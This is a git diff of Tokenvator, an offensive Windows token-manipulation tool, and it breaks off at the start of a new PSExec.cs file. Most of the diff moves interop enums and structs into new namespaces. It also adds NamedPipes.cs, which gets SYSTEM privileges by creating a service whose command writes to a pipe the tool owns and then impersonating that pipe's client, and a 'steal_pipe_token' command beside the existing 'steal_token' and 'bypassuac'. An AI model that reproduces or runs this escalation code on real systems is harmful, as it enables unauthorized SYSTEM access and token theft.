.../Resources/Unmanaged/Headers/TlHelp32.cs | 54 ++ .../Resources/Unmanaged/Headers/WinCred.cs | 63 ++ .../Resources/Unmanaged/Headers/Wincon.cs | 18 + .../Resources/Unmanaged/Headers/Windef.cs | 17 + .../Resources/Unmanaged/Headers/Winsvc.cs | 131 ++++ .../Resources/Unmanaged/Headers/Winternl.cs | 186 +++++ .../Resources/Unmanaged/Headers/Winuser.cs | 119 +++ .../Resources/Unmanaged/Headers/ntsecapi.cs | 4 +- .../Resources/Unmanaged/Headers/winbase.cs | 114 ++- .../Resources/Unmanaged/Headers/wincrypt.cs | 16 +- .../Resources/Unmanaged/Headers/winnt.cs | 714 +++++++++++++++++- .../Resources/Unmanaged/Libraries/advapi32.cs | 305 ++++---- .../Resources/Unmanaged/Libraries/crypt32.cs | 36 +- .../Resources/Unmanaged/Libraries/dbghelp.cs | 63 ++ .../Resources/Unmanaged/Libraries/fileapi.cs | 20 + .../Resources/Unmanaged/Libraries/kernel32.cs | 196 ++++- .../Resources/Unmanaged/Libraries/ntdll.cs | 86 ++- .../Resources/Unmanaged/Libraries/secur32.cs | 4 +- .../Resources/Unmanaged/Libraries/user32.cs | 51 ++ .../Resources/Unmanaged/Libraries/vaultcli.cs | 14 +- .../Resources/Unmanaged/Libraries/wlanapi.cs | 9 + .../{Headers => Libraries}/wtsapi32.cs | 2 +- Tokenvator/Resources/Winbase.cs | 30 - Tokenvator/Resources/Wincrypt.cs | 37 - Tokenvator/Resources/Winnt.cs | 60 -- Tokenvator/RestrictedToken.cs | 29 +- Tokenvator/Tokens.cs | 54 +- Tokenvator/Tokenvator.csproj | 32 +- .../Tokenvator.csproj.FileListAbsolute.txt | 6 + 44 files changed, 2557 insertions(+), 877 deletions(-) create mode 100644 Tokenvator/NamedPipes.cs delete mode 100644 Tokenvator/Resources/Enums.cs create mode 100644 Tokenvator/Resources/PSExec.cs delete mode 100644 Tokenvator/Resources/Structs.cs create mode 100644 Tokenvator/Resources/Unmanaged/Headers/MinWinBase.cs create mode 100644 Tokenvator/Resources/Unmanaged/Headers/Minidumpapiset.cs create mode 100644 Tokenvator/Resources/Unmanaged/Headers/Rpcdce.cs create mode 100644 Tokenvator/Resources/Unmanaged/Headers/Subauth.cs create mode 100644 Tokenvator/Resources/Unmanaged/Headers/TlHelp32.cs create mode 100644 Tokenvator/Resources/Unmanaged/Headers/WinCred.cs create mode 100644 Tokenvator/Resources/Unmanaged/Headers/Wincon.cs create mode 100644 Tokenvator/Resources/Unmanaged/Headers/Windef.cs create mode 100644 Tokenvator/Resources/Unmanaged/Headers/Winsvc.cs create mode 100644 Tokenvator/Resources/Unmanaged/Headers/Winternl.cs create mode 100644 Tokenvator/Resources/Unmanaged/Headers/Winuser.cs create mode 100644 Tokenvator/Resources/Unmanaged/Libraries/dbghelp.cs create mode 100644 Tokenvator/Resources/Unmanaged/Libraries/fileapi.cs create mode 100644 Tokenvator/Resources/Unmanaged/Libraries/user32.cs create mode 100644 Tokenvator/Resources/Unmanaged/Libraries/wlanapi.cs rename Tokenvator/Resources/Unmanaged/{Headers => Libraries}/wtsapi32.cs (98%) delete mode 100644 Tokenvator/Resources/Winbase.cs delete mode 100644 Tokenvator/Resources/Wincrypt.cs delete mode 100644 Tokenvator/Resources/Winnt.cs diff --git a/Tokenvator.sln b/Tokenvator.sln index 57604eb..474673f 100644 --- a/Tokenvator.sln +++ b/Tokenvator.sln @@ -1,6 +1,8 @@  -Microsoft Visual Studio Solution File, Format Version 10.00 -# Visual C# Express 2008 +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.27703.2042 +MinimumVisualStudioVersion = 10.0.40219.1 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Tokenvator", "Tokenvator\Tokenvator.csproj", "{0A1ADFEC-C824-4B97-9241-41C00CC2B982}" EndProject Global @@ -17,4 +19,7 @@ Global GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {32888FBE-73C0-4353-9615-32EB7BD2CB84} + EndGlobalSection EndGlobal diff --git a/Tokenvator/CreateProcess.cs b/Tokenvator/CreateProcess.cs index 8d48413..1cb3096 100644 --- a/Tokenvator/CreateProcess.cs +++ b/Tokenvator/CreateProcess.cs @@ -2,6 +2,9 @@ using System.Runtime.InteropServices; using System.Text; +using Unmanaged.Headers; +using Unmanaged.Libraries; + namespace Tokenvator { class CreateProcess @@ -31,9 +34,9 @@ public static Boolean CreateProcessWithLogonW(IntPtr phNewToken, String name, St } Console.WriteLine("[*] CreateProcessWithLogonW"); - Structs._STARTUPINFO startupInfo = new Structs._STARTUPINFO(); - startupInfo.cb = (UInt32)Marshal.SizeOf(typeof(Structs._STARTUPINFO)); - Structs._PROCESS_INFORMATION processInformation = new Structs._PROCESS_INFORMATION(); + Winbase._STARTUPINFO startupInfo = new Winbase._STARTUPINFO(); + startupInfo.cb = (UInt32)Marshal.SizeOf(typeof(Winbase._STARTUPINFO)); + Winbase._PROCESS_INFORMATION processInformation = new Winbase._PROCESS_INFORMATION(); if (!advapi32.CreateProcessWithLogonW( "i", "j", @@ -84,15 +87,15 @@ public static Boolean CreateProcessWithTokenW(IntPtr phNewToken, String name, St Console.WriteLine("[*] CreateProcessWithTokenW"); IntPtr lpProcessName = Marshal.StringToHGlobalUni(name); IntPtr lpProcessArgs = Marshal.StringToHGlobalUni(arguments); - Structs._STARTUPINFO startupInfo = new Structs._STARTUPINFO(); - startupInfo.cb = (UInt32)Marshal.SizeOf(typeof(Structs._STARTUPINFO)); - Structs._PROCESS_INFORMATION processInformation = new Structs._PROCESS_INFORMATION(); + Winbase._STARTUPINFO startupInfo = new Winbase._STARTUPINFO(); + startupInfo.cb = (UInt32)Marshal.SizeOf(typeof(Winbase._STARTUPINFO)); + Winbase._PROCESS_INFORMATION processInformation = new Winbase._PROCESS_INFORMATION(); if (!advapi32.CreateProcessWithTokenW( phNewToken, - Enums.LOGON_FLAGS.NetCredentialsOnly, + advapi32.LOGON_FLAGS.NetCredentialsOnly, lpProcessName, lpProcessArgs, - Enums.CREATION_FLAGS.NONE, + Winbase.CREATION_FLAGS.NONE, IntPtr.Zero, IntPtr.Zero, ref startupInfo, diff --git a/Tokenvator/Enumeration.cs b/Tokenvator/Enumeration.cs index e14dfc2..ee581dd 100644 --- a/Tokenvator/Enumeration.cs +++ b/Tokenvator/Enumeration.cs @@ -6,6 +6,9 @@ using System.Runtime.InteropServices; using System.Text; +using Unmanaged.Headers; +using Unmanaged.Libraries; + namespace Tokenvator { class Enumeration @@ -50,7 +53,7 @@ public static void EnumerateInteractiveUserSessions() //////////////////////////////////////////////////////////////////////////////// public static Boolean ConvertTokenStatisticsToUsername(Winnt._TOKEN_STATISTICS tokenStatistics, ref String userName) { - IntPtr lpLuid = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Structs._LUID))); + IntPtr lpLuid = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Winnt._LUID))); Marshal.StructureToPtr(tokenStatistics.AuthenticationId, lpLuid, false); if (IntPtr.Zero == lpLuid) { @@ -93,7 +96,7 @@ public static Boolean ConvertSidToName(IntPtr sid, ref String userName) UInt32 cchName = (UInt32)lpName.Capacity; StringBuilder lpReferencedDomainName = new StringBuilder(); UInt32 cchReferencedDomainName = (UInt32)lpReferencedDomainName.Capacity; - Enums._SID_NAME_USE sidNameUser; + Winnt._SID_NAME_USE sidNameUser; advapi32.LookupAccountSid(String.Empty, sid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUser); lpName.EnsureCapacity((Int32)cchName); @@ -125,7 +128,7 @@ public static Dictionary EnumerateTokens(Boolean findElevation) continue; } IntPtr hToken; - if (!kernel32.OpenProcessToken(hProcess, (UInt32)Enums.ACCESS_MASK.MAXIMUM_ALLOWED, out hToken)) + if (!kernel32.OpenProcessToken(hProcess, (UInt32)Winnt.ACCESS_MASK.MAXIMUM_ALLOWED, out hToken)) { continue; } @@ -146,9 +149,9 @@ public static Dictionary EnumerateTokens(Boolean findElevation) continue; } - if (!advapi32.GetTokenInformation(hToken, Enums._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) { - if (!advapi32.GetTokenInformation(hToken, Enums._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) { Console.WriteLine("GetTokenInformation: {0}", Marshal.GetLastWin32Error()); continue; @@ -223,7 +226,7 @@ public static Dictionary EnumerateUserProcesses(Boolean findElev continue; } IntPtr hToken; - if (!kernel32.OpenProcessToken(hProcess, (UInt32)Enums.ACCESS_MASK.MAXIMUM_ALLOWED, out hToken)) + if (!kernel32.OpenProcessToken(hProcess, (UInt32)Winnt.ACCESS_MASK.MAXIMUM_ALLOWED, out hToken)) { continue; } @@ -236,9 +239,9 @@ public static Dictionary EnumerateUserProcesses(Boolean findElev UInt32 dwLength = 0; Winnt._TOKEN_STATISTICS tokenStatistics = new Winnt._TOKEN_STATISTICS(); - if (!advapi32.GetTokenInformation(hToken, Enums._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) { - if (!advapi32.GetTokenInformation(hToken, Enums._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) + if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) { continue; } diff --git a/Tokenvator/NamedPipes.cs b/Tokenvator/NamedPipes.cs new file mode 100644 index 0000000..3918ab2 --- /dev/null +++ b/Tokenvator/NamedPipes.cs @@ -0,0 +1,82 @@ +using System; +using System.IO; +using System.Threading; + +using Unmanaged.Headers; +using Unmanaged.Libraries; + +namespace Tokenvator +{ + class NamedPipes + { + private const String baseDirectory = @"\\.\pipe\"; + + internal NamedPipes() + { + + } + + internal static void GetSystem() + { + using (PSExec psExec = new PSExec("Tokenvator")) + { + psExec.Connect("."); + psExec.Create("%COMSPEC% /c start %COMSPEC% /c echo \"tokenvator\" > \\\\.\\pipe\\Tokenvator; timeout 5"); + psExec.Open(); + Thread thread = new Thread(() => GetPipeToken(@"\\.\pipe\Tokenvator")); + thread.Start(); + psExec.Start(); + thread.Join(); + psExec.Stop(); + } + } + + internal static Boolean GetPipeToken(String pipeName) + { + //Winbase._SECURITY_ATTRIBUTES lpSecurityAttributes = new Winbase._SECURITY_ATTRIBUTES(); + IntPtr hNamedPipe = kernel32.CreateNamedPipeA(pipeName, Winbase.OPEN_MODE.PIPE_ACCESS_DUPLEX, Winbase.PIPE_MODE.PIPE_TYPE_MESSAGE | Winbase.PIPE_MODE.PIPE_WAIT, 3, 0, 0, 0, IntPtr.Zero); + if (IntPtr.Zero == hNamedPipe) + { + Console.WriteLine("[-] CreateNamedPipeA Failed"); + return false; + } + Console.WriteLine("[+] Created Pipe {0}", pipeName); + + if (!kernel32.ConnectNamedPipe(hNamedPipe, IntPtr.Zero)) + { + Console.WriteLine("[-] ConnectNamedPipe Failed"); + } + Console.WriteLine("[+] Connected to Pipe {0}", pipeName); + + Byte[] lpBuffer = new Byte[128]; + UInt32 lpNumberOfBytesRead = 0; + //MinWinBase._OVERLAPPED lpOverlapped2 = new MinWinBase._OVERLAPPED(); + if (!fileapi.ReadFile(hNamedPipe, ref lpBuffer, 1, ref lpNumberOfBytesRead, IntPtr.Zero)) + { + Console.WriteLine("[-] ReadFile Failed"); + Console.WriteLine(new System.ComponentModel.Win32Exception(System.Runtime.InteropServices.Marshal.GetLastWin32Error()).Message); + } + Console.WriteLine("[+] Read Pipe {0}", pipeName); + + if (!advapi32.ImpersonateNamedPipeClient(hNamedPipe)) + { + Console.WriteLine("[-] ImpersonateNamedPipeClient Failed"); + Console.WriteLine(new System.ComponentModel.Win32Exception(System.Runtime.InteropServices.Marshal.GetLastWin32Error()).Message); + } + Console.WriteLine("[+] Impersonated Pipe {0} Client", pipeName); + + + + return true; + } + + internal static void EnumeratePipes() + { + String[] pipes = Directory.GetFiles(baseDirectory); + foreach (String pipe in pipes) + { + Console.WriteLine(pipe); + } + } + } +} diff --git a/Tokenvator/Program.cs b/Tokenvator/Program.cs index fadf873..0f079b0 100644 --- a/Tokenvator/Program.cs +++ b/Tokenvator/Program.cs @@ -2,9 +2,8 @@ using System.Collections.Generic; using System.Diagnostics; using System.Linq; -using System.Management; -using System.Management.Instrumentation; -using System.Text; + +using Unmanaged.Libraries; @@ -187,6 +186,9 @@ internal void Run() case "steal_token": StealToken(input); break; + case "steal_pipe_token": + StealPipeToken(input); + break; case "bypassuac": BypassUAC(input); break; @@ -372,6 +374,21 @@ public static void StealToken(String input) } } + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + public static void StealPipeToken(String input) + { + if (input.Contains(@"\\.\pipe\")) + { + NamedPipes.GetPipeToken(input); + } + else if (input.Contains("SYSTEM")) + { + NamedPipes.GetSystem(); + } + } + //////////////////////////////////////////////////////////////////////////////// // //////////////////////////////////////////////////////////////////////////////// diff --git a/Tokenvator/Resources/CheckPrivileges.cs b/Tokenvator/Resources/CheckPrivileges.cs index 2d08daa..f749c36 100644 --- a/Tokenvator/Resources/CheckPrivileges.cs +++ b/Tokenvator/Resources/CheckPrivileges.cs @@ -1,8 +1,10 @@ using System; -using System.Linq; using System.Runtime.InteropServices; using System.Security.Principal; +using Unmanaged.Headers; +using Unmanaged.Libraries; + namespace Tokenvator { class CheckPrivileges @@ -57,25 +59,25 @@ public static Boolean PrintElevation(IntPtr hToken) Boolean result = advapi32.GetTokenInformation( hToken, - Enums._TOKEN_INFORMATION_CLASS.TokenElevationType, + Winnt._TOKEN_INFORMATION_CLASS.TokenElevationType, tokenInformation, tokenInformationLength, out returnLength ); - switch ((Enums.TOKEN_ELEVATION_TYPE)Marshal.ReadInt32(tokenInformation)) + switch ((Winnt.TOKEN_ELEVATION_TYPE)Marshal.ReadInt32(tokenInformation)) { - case Enums.TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault: + case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault: Console.WriteLine("TokenElevationTypeDefault"); Console.WriteLine("Token: Not Split"); Console.WriteLine("ProcessIntegrity: Medium/Low"); return false; - case Enums.TOKEN_ELEVATION_TYPE.TokenElevationTypeFull: + case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeFull: Console.WriteLine("TokenElevationTypeFull"); Console.WriteLine("Token: Split"); Console.WriteLine("ProcessIntegrity: High"); return true; - case Enums.TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited: + case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited: Console.WriteLine("TokenElevationTypeLimited"); Console.WriteLine("Token: Split - ProcessIntegrity: Medium/Low"); Console.WriteLine("Hint: Try to Bypass UAC"); @@ -98,19 +100,19 @@ public static Boolean CheckElevation(IntPtr hToken) Boolean result = advapi32.GetTokenInformation( hToken, - Enums._TOKEN_INFORMATION_CLASS.TokenElevationType, + Winnt._TOKEN_INFORMATION_CLASS.TokenElevationType, tokenInformation, tokenInformationLength, out returnLength ); - switch ((Enums.TOKEN_ELEVATION_TYPE)Marshal.ReadInt32(tokenInformation)) + switch ((Winnt.TOKEN_ELEVATION_TYPE)Marshal.ReadInt32(tokenInformation)) { - case Enums.TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault:; + case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault:; return false; - case Enums.TOKEN_ELEVATION_TYPE.TokenElevationTypeFull: + case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeFull: return true; - case Enums.TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited: + case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited: return false; default: return true; diff --git a/Tokenvator/Resources/Constants.cs b/Tokenvator/Resources/Constants.cs index d10bd20..0c23771 100644 --- a/Tokenvator/Resources/Constants.cs +++ b/Tokenvator/Resources/Constants.cs @@ -6,72 +6,72 @@ class Constants { //Process Security and Access Rights //https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 - public const UInt32 PROCESS_ALL_ACCESS = 0; - public const UInt32 PROCESS_CREATE_PROCESS = 0x0080; - public const UInt32 PROCESS_CREATE_THREAD = 0x0002; - public const UInt32 PROCESS_DUP_HANDLE = 0x0040; - public const UInt32 PROCESS_QUERY_INFORMATION = 0x0400; - public const UInt32 PROCESS_QUERY_LIMITED_INFORMATION = 0x1000; - public const UInt32 PROCESS_SET_INFORMATION = 0x0200; - public const UInt32 PROCESS_SET_QUOTA = 0x0100; - public const UInt32 PROCESS_SUSPEND_RESUME = 0x0800; - public const UInt32 PROCESS_TERMINATE = 0x0001; - public const UInt32 PROCESS_VM_OPERATION = 0x0008; - public const UInt32 PROCESS_VM_READ = 0x0010; - public const UInt32 PROCESS_VM_WRITE = 0x0020; - public const UInt32 SYNCHRONIZE = 0x00100000; + internal const UInt32 PROCESS_ALL_ACCESS = 0; + internal const UInt32 PROCESS_CREATE_PROCESS = 0x0080; + internal const UInt32 PROCESS_CREATE_THREAD = 0x0002; + internal const UInt32 PROCESS_DUP_HANDLE = 0x0040; + internal const UInt32 PROCESS_QUERY_INFORMATION = 0x0400; + internal const UInt32 PROCESS_QUERY_LIMITED_INFORMATION = 0x1000; + internal const UInt32 PROCESS_SET_INFORMATION = 0x0200; + internal const UInt32 PROCESS_SET_QUOTA = 0x0100; + internal const UInt32 PROCESS_SUSPEND_RESUME = 0x0800; + internal const UInt32 PROCESS_TERMINATE = 0x0001; + internal const UInt32 PROCESS_VM_OPERATION = 0x0008; + internal const UInt32 PROCESS_VM_READ = 0x0010; + internal const UInt32 PROCESS_VM_WRITE = 0x0020; + internal const UInt32 SYNCHRONIZE = 0x00100000; //Token //http://www.pinvoke.net/default.aspx/advapi32.openprocesstoken - public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; - public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; - public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; - public const UInt32 TOKEN_DUPLICATE = 0x0002; - public const UInt32 TOKEN_IMPERSONATE = 0x0004; - public const UInt32 TOKEN_QUERY = 0x0008; - public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; - public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020; - public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; - public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; - public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; - public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); - public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | + internal const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; + internal const UInt32 STANDARD_RIGHTS_READ = 0x00020000; + internal const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; + internal const UInt32 TOKEN_DUPLICATE = 0x0002; + internal const UInt32 TOKEN_IMPERSONATE = 0x0004; + internal const UInt32 TOKEN_QUERY = 0x0008; + internal const UInt32 TOKEN_QUERY_SOURCE = 0x0010; + internal const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020; + internal const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; + internal const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; + internal const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; + internal const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); + internal const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID); - public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY); + internal const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY); //TOKEN_PRIVILEGES //https://msdn.microsoft.com/en-us/library/windows/desktop/aa379630(v=vs.85).aspx - public const UInt32 SE_PRIVILEGE_ENABLED = 0x2; - public const UInt32 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1; - public const UInt32 SE_PRIVILEGE_REMOVED = 0x4; - public const UInt32 SE_PRIVILEGE_USED_FOR_ACCESS = 0x3; + internal const UInt32 SE_PRIVILEGE_ENABLED = 0x2; + internal const UInt32 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1; + internal const UInt32 SE_PRIVILEGE_REMOVED = 0x4; + internal const UInt32 SE_PRIVILEGE_USED_FOR_ACCESS = 0x3; - public const Int32 ANYSIZE_ARRAY = 1; + internal const Int32 ANYSIZE_ARRAY = 1; //https://msdn.microsoft.com/en-us/library/windows/desktop/aa446619(v=vs.85).aspx - public const String SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege"; - public const String SE_BACKUP_NAME = "SeBackupPrivilege"; - public const String SE_DEBUG_NAME = "SeDebugPrivilege"; - public const String SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege"; - public const String SE_TCB_NAME = "SeTcbPrivilege"; + internal const String SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege"; + internal const String SE_BACKUP_NAME = "SeBackupPrivilege"; + internal const String SE_DEBUG_NAME = "SeDebugPrivilege"; + internal const String SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege"; + internal const String SE_TCB_NAME = "SeTcbPrivilege"; - public const UInt64 SE_GROUP_ENABLED = 0x00000004L; - public const UInt64 SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002L; - public const UInt64 SE_GROUP_INTEGRITY = 0x00000020L; - public const UInt32 SE_GROUP_INTEGRITY_32 = 0x00000020; - public const UInt64 SE_GROUP_INTEGRITY_ENABLED = 0x00000040L; - public const UInt64 SE_GROUP_LOGON_ID = 0xC0000000L; - public const UInt64 SE_GROUP_MANDATORY = 0x00000001L; - public const UInt64 SE_GROUP_OWNER = 0x00000008L; - public const UInt64 SE_GROUP_RESOURCE = 0x20000000L; - public const UInt64 SE_GROUP_USE_FOR_DENY_ONLY = 0x00000010L; + internal const UInt64 SE_GROUP_ENABLED = 0x00000004L; + internal const UInt64 SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002L; + internal const UInt64 SE_GROUP_INTEGRITY = 0x00000020L; + internal const UInt32 SE_GROUP_INTEGRITY_32 = 0x00000020; + internal const UInt64 SE_GROUP_INTEGRITY_ENABLED = 0x00000040L; + internal const UInt64 SE_GROUP_LOGON_ID = 0xC0000000L; + internal const UInt64 SE_GROUP_MANDATORY = 0x00000001L; + internal const UInt64 SE_GROUP_OWNER = 0x00000008L; + internal const UInt64 SE_GROUP_RESOURCE = 0x20000000L; + internal const UInt64 SE_GROUP_USE_FOR_DENY_ONLY = 0x00000010L; //https://msdn.microsoft.com/en-us/library/windows/desktop/aa446583%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 - public const UInt32 DISABLE_MAX_PRIVILEGE = 0x1; - public const UInt32 SANDBOX_INERT = 0x2; - public const UInt32 LUA_TOKEN = 0x4; - public const UInt32 WRITE_RESTRICTED = 0x8; + internal const UInt32 DISABLE_MAX_PRIVILEGE = 0x1; + internal const UInt32 SANDBOX_INERT = 0x2; + internal const UInt32 LUA_TOKEN = 0x4; + internal const UInt32 WRITE_RESTRICTED = 0x8; } } diff --git a/Tokenvator/Resources/Enums.cs b/Tokenvator/Resources/Enums.cs deleted file mode 100644 index df16c46..0000000 --- a/Tokenvator/Resources/Enums.cs +++ /dev/null @@ -1,190 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; - -namespace Tokenvator -{ - class Enums - { - [Flags] - public enum LOGON_FLAGS - { - WithProfile = 1, - NetCredentialsOnly - } - - //https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx - [Flags] - public enum CREATION_FLAGS - { - NONE = 0x0, - CREATE_DEFAULT_ERROR_MODE = 0x04000000, - CREATE_NEW_CONSOLE = 0x00000010, - CREATE_NEW_PROCESS_GROUP = 0x00000200, - CREATE_SEPARATE_WOW_VDM = 0x00000800, - CREATE_SUSPENDED = 0x00000004, - CREATE_UNICODE_ENVIRONMENT = 0x00000400, - EXTENDED_STARTUPINFO_PRESENT = 0x00080000 - } - - - - [Flags] - public enum _SECURITY_IMPERSONATION_LEVEL : int - { - SecurityAnonymous = 0, - SecurityIdentification = 1, - SecurityImpersonation = 2, - SecurityDelegation = 3 - }; - - [Flags] - public enum TOKEN_TYPE - { - TokenPrimary = 1, - TokenImpersonation - } - - //http://www.pinvoke.net/default.aspx/Enums.ACCESS_MASK - [Flags] - public enum ACCESS_MASK : uint - { - DELETE = 0x00010000, - READ_CONTROL = 0x00020000, - WRITE_DAC = 0x00040000, - WRITE_OWNER = 0x00080000, - SYNCHRONIZE = 0x00100000, - STANDARD_RIGHTS_REQUIRED = 0x000F0000, - STANDARD_RIGHTS_READ = 0x00020000, - STANDARD_RIGHTS_WRITE = 0x00020000, - STANDARD_RIGHTS_EXECUTE = 0x00020000, - STANDARD_RIGHTS_ALL = 0x001F0000, - SPECIFIC_RIGHTS_ALL = 0x0000FFF, - ACCESS_SYSTEM_SECURITY = 0x01000000, - MAXIMUM_ALLOWED = 0x02000000, - GENERIC_READ = 0x80000000, - GENERIC_WRITE = 0x40000000, - GENERIC_EXECUTE = 0x20000000, - GENERIC_ALL = 0x10000000, - DESKTOP_READOBJECTS = 0x00000001, - DESKTOP_CREATEWINDOW = 0x00000002, - DESKTOP_CREATEMENU = 0x00000004, - DESKTOP_HOOKCONTROL = 0x00000008, - DESKTOP_JOURNALRECORD = 0x00000010, - DESKTOP_JOURNALPLAYBACK = 0x00000020, - DESKTOP_ENUMERATE = 0x00000040, - DESKTOP_WRITEOBJECTS = 0x00000080, - DESKTOP_SWITCHDESKTOP = 0x00000100, - WINSTA_ENUMDESKTOPS = 0x00000001, - WINSTA_READATTRIBUTES = 0x00000002, - WINSTA_ACCESSCLIPBOARD = 0x00000004, - WINSTA_CREATEDESKTOP = 0x00000008, - WINSTA_WRITEATTRIBUTES = 0x00000010, - WINSTA_ACCESSGLOBALATOMS = 0x00000020, - WINSTA_EXITWINDOWS = 0x00000040, - WINSTA_ENUMERATE = 0x00000100, - WINSTA_READSCREEN = 0x00000200, - WINSTA_ALL_ACCESS = 0x0000037F - }; - - public enum SECURITY_IMPERSONATION_LEVEL - { - SecurityAnonymous, - SecurityIdentification, - SecurityImpersonation, - SecurityDelegation - } - - public enum _TOKEN_INFORMATION_CLASS { - TokenUser = 1, - TokenGroups, - TokenPrivileges, - TokenOwner, - TokenPrimaryGroup, - TokenDefaultDacl, - TokenSource, - TokenType, - TokenImpersonationLevel, - TokenStatistics, - TokenRestrictedSids, - TokenSessionId, - TokenGroupsAndPrivileges, - TokenSessionReference, - TokenSandBoxInert, - TokenAuditPolicy, - TokenOrigin, - TokenElevationType, - TokenLinkedToken, - TokenElevation, - TokenHasRestrictions, - TokenAccessInformation, - TokenVirtualizationAllowed, - TokenVirtualizationEnabled, - TokenIntegrityLevel, - TokenUIAccess, - TokenMandatoryPolicy, - TokenLogonSid, - TokenIsAppContainer, - TokenCapabilities, - TokenAppContainerSid, - TokenAppContainerNumber, - TokenUserClaimAttributes, - TokenDeviceClaimAttributes, - TokenRestrictedUserClaimAttributes, - TokenRestrictedDeviceClaimAttributes, - TokenDeviceGroups, - TokenRestrictedDeviceGroups, - TokenSecurityAttributes, - TokenIsRestricted, - MaxTokenInfoClass - } - - public enum _SID_NAME_USE - { - SidTypeUser = 1, - SidTypeGroup, - SidTypeDomain, - SidTypeAlias, - SidTypeWellKnownGroup, - SidTypeDeletedAccount, - SidTypeInvalid, - SidTypeUnknown, - SidTypeComputer, - SidTypeLabel - } - - internal enum CRED_FLAGS : uint - { - NONE = 0x0, - PROMPT_NOW = 0x2, - USERNAME_TARGET = 0x4 - } - - internal enum CRED_PERSIST : uint - { - Session = 1, - LocalMachine, - Enterprise - } - - internal enum CRED_TYPE : uint - { - Generic = 1, - DomainPassword, - DomainCertificate, - DomainVisiblePassword, - GenericCertificate, - DomainExtended, - Maximum, - MaximumEx = Maximum + 1000, - } - - internal enum TOKEN_ELEVATION_TYPE - { - TokenElevationTypeDefault = 1, - TokenElevationTypeFull, - TokenElevationTypeLimited - } - } -} diff --git a/Tokenvator/Resources/PSExec.cs b/Tokenvator/Resources/PSExec.cs new file mode 100644 index 0000000..ebde27e --- /dev/null +++ b/Tokenvator/Resources/PSExec.cs @@ -0,0 +1,196 @@ +using System; +using System.Linq; +using System.Runtime.InteropServices; + +using Unmanaged.Headers; +using Unmanaged.Libraries; + +namespace Tokenvator +{ + 